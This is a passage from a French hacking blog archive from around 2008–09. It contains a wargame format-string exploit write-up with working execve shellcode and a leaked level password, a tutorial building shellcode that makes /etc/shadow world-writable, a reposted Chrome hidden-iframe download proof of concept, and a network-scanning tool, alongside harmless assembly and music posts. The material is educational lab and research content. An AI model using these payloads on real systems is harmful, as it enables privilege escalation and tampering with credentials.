0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000

Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940

Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA

Breakpoint 2, 0x0804845f in main ()

(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"

Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948

C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)

Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.

bfff = 49151 base 10
f948 = 63816 base 10

Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]

On va utiliser le shellcode classique suivant:

"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Qui fait 23 de long.

Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères

[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]

Vérifions ca sous gdb:

level4@behemoth:/wargame$ gdb level4

On pose un bp juste avant le ret de main()

(gdb) b *main+118
Breakpoint 1 at 0x804846a

On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")

(..)000000000003086877440

Breakpoint 1, 0x0804846a in main ()

on regarde ce qu'il y a dans .dorts:

(gdb) x/x 0x08049598
0x8049598 <__DTOR_END__>: 0xbffff948

Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:

(gdb) x/x 0xbffff948
0xbffff948: 0x99580b6a

C'est bien le cas.

On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)

Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5

On quitte gdb et on test for real:

level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4
(...)000003086877440
id
Illegal instruction

Snif...

Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...

Cependant notre chaine va grandir de 10, donc il faut en prendre compte!

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]

Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères

(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4

(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6

Crac boum.

ShellCoding For Dummies

2009-03-24T16:54:00.000+01:00

Aujourd'hui un petit cours de shellcoding (sous Linux).
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:

1] Repérer le(s) appel(s) Système à utiliser.

Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)

Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":

sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306

EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!

On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.

2] Programmer notre Shellcode

xor    %eax,%eax        ; On met 0 dans eax
push   %eax             ; On dépose ce 0 sur la pile
mov    $0xf,%al         ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push   $0x776f6461      ; On dépose "/etc/shadow" sur la pile
push   $0x68732f63      ; Le 0 posé précedemment sert à terminer cette chaine
push   $0x74652f2f      ; (souvenez vous de \0 en C)
mov    %esp,%ebx        ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor    %ecx,%ecx        ; On met 0 dans ecx
mov    $0x1ff,%cx       ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int    $0x80            ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc    %eax             ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int    $0x80            ; On apelle l'interruption

3] Assembler & Linker tout ca

$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o

4] Notre Shellcode

On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

Et voila :) have fun!

A {Very} Basic Sniffer

2009-03-20T11:52:00.001+01:00

Hello, bon c'est vrai que ça fait longtemps que j'ai pas posté :p j'avoue que je travaille peu ces temps ci! Ci joint la source (un peu) commentée d'un sniffer Unix basique utilisant les librairies LibPcap et LibNet. Le dossier compressé comprend un projet Code::Blocks, n'oubliez pas d'ajouter -lpcap et -lnet dans les options de link si ce n'est pas déja fait. La suite suivra sous peu (ajout du support des filtres...). Cette version est vraiment un premier jet, c'est juste un exemple d'utilisation de la libPcap en somme.

Mod_Sniffer

:]

Data Structure Alignment

2009-01-19T12:22:00.000+01:00

Spéciale pour Geo celle la :p.

Observons la source suivante:

#include <stdio.h>

#include <stdlib.h>

int main()

{

    typedef struct {

    short foo1; // 2 octets

    int foo2; // 4 octets

    } MaStructure;

    printf("VISUAL STUDIO 2005/2008\n");

    printf("INT    SIZE :%i\n",sizeof(int));

    printf("SHORT  SIZE :%i\n",sizeof(short));

    printf("STRUCT SIZE :%i\n",sizeof(MaStructure));

    system("pause");

    return 0;

}

Et voici la sortie obtenue ( Microsoft Visual C++ 2005 77915-009-0000007-41714 )

SOO? WTF? ben après quelques recherches :

Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.

Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.

[...]

If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.

The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:

* A char (one byte) will be 1-byte aligned.
* A short (two bytes) will be 2-byte aligned.
* An int (four bytes) will be 4-byte aligned.
* A float (four bytes) will be 4-byte aligned.
* A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.

Source: Wikipedia

Le mystère n'est donc plus, mais pourquoi ce padding??

Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.

On peut modifier la façon dont sera géré le Padding:

#pragma PACK()

Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.

Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.

2k9 - Reb0rn

2009-01-07T10:28:00.000+01:00

Tout d'abord ben bonne année a tous ceux qui me lisent même si vous n'êtes sûrement pas tant que ça :p

Enfin bref, je vous souhaite plein de bonnes choses, et de respecter vos bonnes résolutions, personnellement je n'en ai pas pris (même pas celle de poster + ).

Sachez quand même que je prépare quelques trucs dans mon coin que je présenterais ici dès que je pourrais.

Un peu de son quand même en ces temps de disette et de misère:

Technossomy - Pyramid

This Is GOA - A Never Ending Energy-2 (TranceGalaxy's Version)

Travma - 2019

EDIT: Merci Sh4ka pour le dernier titre :)

Dead Or Alive?

2008-11-21T12:43:00.000+01:00

Suites a quelques remarques, un petit billet juste pour dire que je ne suis pas mort :)
Je n'ai plus de machine à ma disposition, donc mes projets n'avancent pas vraiment. Je vais bientôt emménager dans un nouvel appartement et pouvoir reprendre mes petits travaux :)

J'en profite pour présenter le blog de mon pote Onerius : ICI

A très bientôt donc.

Pour info...

2008-10-01T09:30:00.000+02:00

J'exportais le code de mon outil de Reverse Arp en librairie dynamique (DLL) pour pouvoir l'appeler depuis un programme écrit en C#... Et la ben pas si facile de passer un char * en écriture en fait!!!

Voici donc la solution :

Signature de la fonction exportée de la DLL (écrite en C) :

extern "C" __declspec(dllexport) int getIPfromMAC(char * MAC_TO_LOOK_FOR, char * IP_RANGE_START, char * IP_RANGE_END, char * ret)

Appel en C# :

[DllImport("RARPL_DLL.dll", EntryPoint = "getIPfromMAC")]
static extern int getIPfromMAC(string MAC_TO_LOOK_FOR, string IP_RANGE_START, string IP_RANGE_END, StringBuilder buffer);

string ret="";

StringBuilder IPretour= new StringBuilder(50);
getIPfromMAC(MAC, IPdebut, IPfin, IPretour);
ret = IPretour.ToString();

Tout ca sous Visual Studio (il me semble que la directive extern "C" __declspec(dllexport) est spécifique a VS)...

Nouvelle Bannière

2008-09-26T16:46:00.000+02:00

Merci a MetriK pour la nouvelle bannière, je link son Portfolio, qui est encore en cours de construction.

Voila voila :p

MD5 Online Cracker - By Tr00ps

2008-09-26T14:22:00.000+02:00

Un tool de recherche de correspondances MD5/plein-text codé par mon pote Tr00ps.
Le programme recherche le hash soumis sur une multitude de bases de données.

- Cracking par listes
- Export du résultat
- ...

Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p

MD5 Online Cracker Download

ARP Reverse Like

2008-09-26T12:53:00.000+02:00

Un petit outil écrit en C pour faire une "sorte" de Reverse ARP...

EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p

// - Reverse ARP Like Tool -
// - by 5m0k3 -

#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>

typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;

void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;

// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );

// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );

// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );

while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;

memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );

strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);

// On arrête Winsock
WSACleanup( );
}

int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;

// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);

// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}

// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}

// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));

PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));

if (pIpe == 0)
{
ret=-3;
goto error;
}

pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);

// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);

GlobalFree(pIpe);

error:

return ret;
}

void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];

// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);

if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}

// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);

if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}

}
}
}

}

void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;

while(i<4)
{
memset(buffer,0,4);

while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}

int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}

int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];

parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);

memcpy(RangeCurrent,RangeStart,sizeof(int)*4);

while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{

itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);

// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);

ping(currentIP);

getIPfromMAC(argv[1]);

if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}

RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}

NASM Pt.2

2008-09-22T16:05:00.000+02:00

Un peu de zik spéciale c0der de l'extrème:

TTC - J'ai pas sommeil

Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):

; Constantes et structures prédéfinies pour l'utilisation de l'API Windows

%include "win32n.inc"

; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll

EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll

; Le segment des données:

segment .data USE32

MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0

; Le segment de code:

segment .code USE32

;Début du code
..start:

;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué

; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]

On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip

Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081

Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib

Va maintenant falloir assembler tout ça :

D0ne! =)

Lamz

2008-09-10T17:00:00.000+02:00

Je me suis beaucoup "embêté" aujourd'hui alors j'ai rien trouvé de mieux a foutre que d'écrire un sploit pour bypass le safe mode de free.fr...

Lien ici.

Faut pas en abuser, promis?

Comme promis...

2008-09-09T11:30:00.000+02:00

... Voila la trad que j'annonçais hier : ICI et je remercie les personnes qui m'ont aidé (ma dulcinée et sa moman et ce cher gros sac de zours). Pour rappel, voila le paper original : http://milw0rm.com/papers/212.

J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.

Niouz

2008-09-08T10:56:00.000+02:00

Hello, j'ai pas trop eu le temps de poster dernièrement, la faute à qui?
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:

Google sort un navigateur, et ca commence pas mal:

***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.

This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.

Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]

PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.

Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title ( tag in HTML), the program causes a stack-based overflow and makes <br />it possible for attackers to execute arbitrary code on users’ systems. <br />· How an attacker could exploit the issue : <br />To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code. <br />He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would <br />be executed, giving him the privilege to make use of the affected system. <br />· Discoverer : Le Duc Anh - SVRT - Bkis <br />· About SVRT : <br />SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes <br />in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols <br />and embedded systems… <br />· Website : security.bkis.vn <br />· Mail : svrt[at]bkav.com.vn <br /> <br />http://milw0rm.com/sploits/2008-chrome.tgz <br /> <br /># milw0rm.com [2008-09-05] <br /></div> <br /> <br />Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : <a href="http://milw0rm.com/papers/219">Ici</a> <br /> <br />Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : <a href="http://milw0rm.com/papers/212">Ici en allemand</a> ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment. <br /> <br />Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie. <br /> <br /><div class="blogger-post-footer"></div> </article> <article> <h1>Du son, encore et encore...</h1> <p>2008-08-22T14:34:00.000+02:00</p> C'est pas tout neuf non plus mais ca reste bien fresh :p :<br /><br /><param name="movie" value="http://www.youtube.com/v/iu3iYOLqe6E&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Para One - Dudun Dun<br /><br />Le clip est assez tripant :<br /><br /><param name="movie" value="http://www.youtube.com/v/6zo1-XlazvY&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Justice vs. Simian - We Are Your Friends<br /><br />Pas de clip, mais c'est tellement énorme :D :<br /><br /><div style="width:220px;height:55px;"><param name="movie" value="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=186926&colorBackground=0x555552&textColor1=0xFFFFFF&colorVolume=0x39D1FD&autoplay=0"></param></object></div><br />ModSelektor ft. TTC - 2000007<div class="blogger-post-footer"></div> </article> <article> <h1>:/</h1> <p>2008-08-19T23:49:00.000+02:00</p> Bon heu... ca date un peu quand meme...<br /><br /><param name="movie" value="http://www.youtube.com/v/EdS6iZrN4c0&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><div class="blogger-post-footer"></div> </article> <article> <h1>Une semaine à peine...</h1> <p>2008-08-17T18:24:00.001+02:00</p> ... Et ce blog est déja le plus populaire de la toile :o<br /><br />Aujourd'hui, plein de news en pagaille, la semaine à été folle!!<br /><ul><br /><li>XCMO Partners sortent leur 20ème ezine : <br /> <a href="http://www.xmcopartners.com/">http://www.xmcopartners.com/</a><br /><li><a href="http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf">(IN)Secure Mag N°17</a><br /><li>Sortie de RAFALE N°10 : <a href="http://www.rafale.org/">http://www.rafale.org/</a><br /><li>Un nouveau petit tool qui pourrait bien nous etre fort utile, Assh, c'est ici : <a href="http://assh.sourceforge.net/">http://assh.sourceforge.net/</a><br /></ul><br />Et puis, vu qu'on est dimanche quand meme:<br /><br /><param name="movie" value="http://www.youtube.com/v/_9PYdMFgi-E&hl=fr&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />TTC - Travailler (ORGASMIC Remix)<div class="blogger-post-footer"></div> </article> <article> <h1>Space mais bon....</h1> <p>2008-08-16T09:54:00.001+02:00</p> <param name="movie" value="http://www.youtube.com/v/gRS8cM4lyKY&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />DJ Shadow - The Organ Donor<div class="blogger-post-footer"></div> </article> <article> <h1>Ca pue la sale journée...</h1> <p>2008-08-13T14:10:00.000+02:00</p> ... On verra Bien!<br /><br />"<span style="font-style: italic;">Tu kiff mon son comme la fin de la semaine</span>" :<br /><br /><param name="movie" value="http://www.youtube.com/v/jY8rSIAKvcM&hl=en&fs=1"><param name="allowFullScreen" value="true"></object><br />Cuizinier - L'enculé le plus cool<br /><br />Pour la petite touche d'originalité :<br /><br /><param name="movie" value="http://www.youtube.com/v/SnbY7SFmfk0&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Crystal Castles - Tholo (Je suis pas 100% sûr)<br /><br />Ca bien sûr, parce que ça manque quand même :p :<br /><br /><param name="movie" value="http://www.youtube.com/v/-JOzj2-vnwo&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Polycarpus - The Sex Virus<br /><br />A part ca je suis en vacances demain, pour 2 semaines ENTIERES :D HAHAHA!<div class="blogger-post-footer"></div> </article> <article> <h1>Soyons des fous!!!</h1> <p>2008-08-12T16:30:00.001+02:00</p> ... Et développons sous <span style="font-weight: bold;">Nasm</span><br />=> http://nasm.sourceforge.net/<br /><br />Téléchargement:<br /><br />- <a href="http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=607504">Windoze</a><br />- <a href="http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47035&release_id=607490">Linuske</a><br /><br />Un peu de supayr mizik, ca peut aider<br />http://www.deezer.com/#music/playlist/9927274/1201024<br /><br />Et on commence par un pitit programme (COM) DOS:<br /><br /><div style="border: 1px solid white; padding: 2px;"><br /><span style="color: rgb(255, 255, 255);font-size:85%;" ><span style="font-family:courier new;">[ORG 0x0100]</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On décale notre offset de 0x100. pourquoi? on est dans un programme COM (donc pas un EXE). DONC, les 256 premiers octets sont réservés au PSP</span></span><span style="font-style: italic; color: rgb(255, 0, 0);"></span><span style="color: rgb(255, 255, 255);font-size:85%;" ><span style="color: rgb(255, 0, 0);"> (Program Segment Prefix). Il contient certaines infos relatives au programme parfois utiles au programmeur, et vu que je suis gentil, certaines sont fournies dans un tableau un peu plus bas ;)</span><br /><br /><span style="font-family:courier new;">[SEGMENT .data]</span><br /><span style="font-family:courier new;">message db 'hello world',10,13,'$'</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Bin la... on déclare une variable ... elle s'apelle message, contient 'hello world', la suite sont un retour a la ligne (10 13) et la caractère de terminaison de chaine ($). Ca correspond à \n\0 en C, quoi.</span><br /><br /><span style="font-family:courier new;">[SEGMENT .text]</span><br /><span style="font-family:courier new;">call affichage</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On apelle la routine affichage</span><br /><br /><span style="font-family:courier new;">call fin</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Puis la routine fin</span><br /><br /><span style="font-family:courier new;">affichage:</span><br /><span style="font-family:courier new;">mov dx,message</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met le pointeur sur notre chaine de caractère dans le registre DX</span><br /><br /><span style="font-family:courier new;">mov ah,0x09</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met 0x09 dans ax, 9 est le numéro de la fonction de l’interruption dans 21h (car l'interruption 21h fournit plusieurs fonctions :]) qui écrit une chaîne de caractères à l’écran.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; Pitit rappel:</span><br /><span style="color: rgb(255, 0, 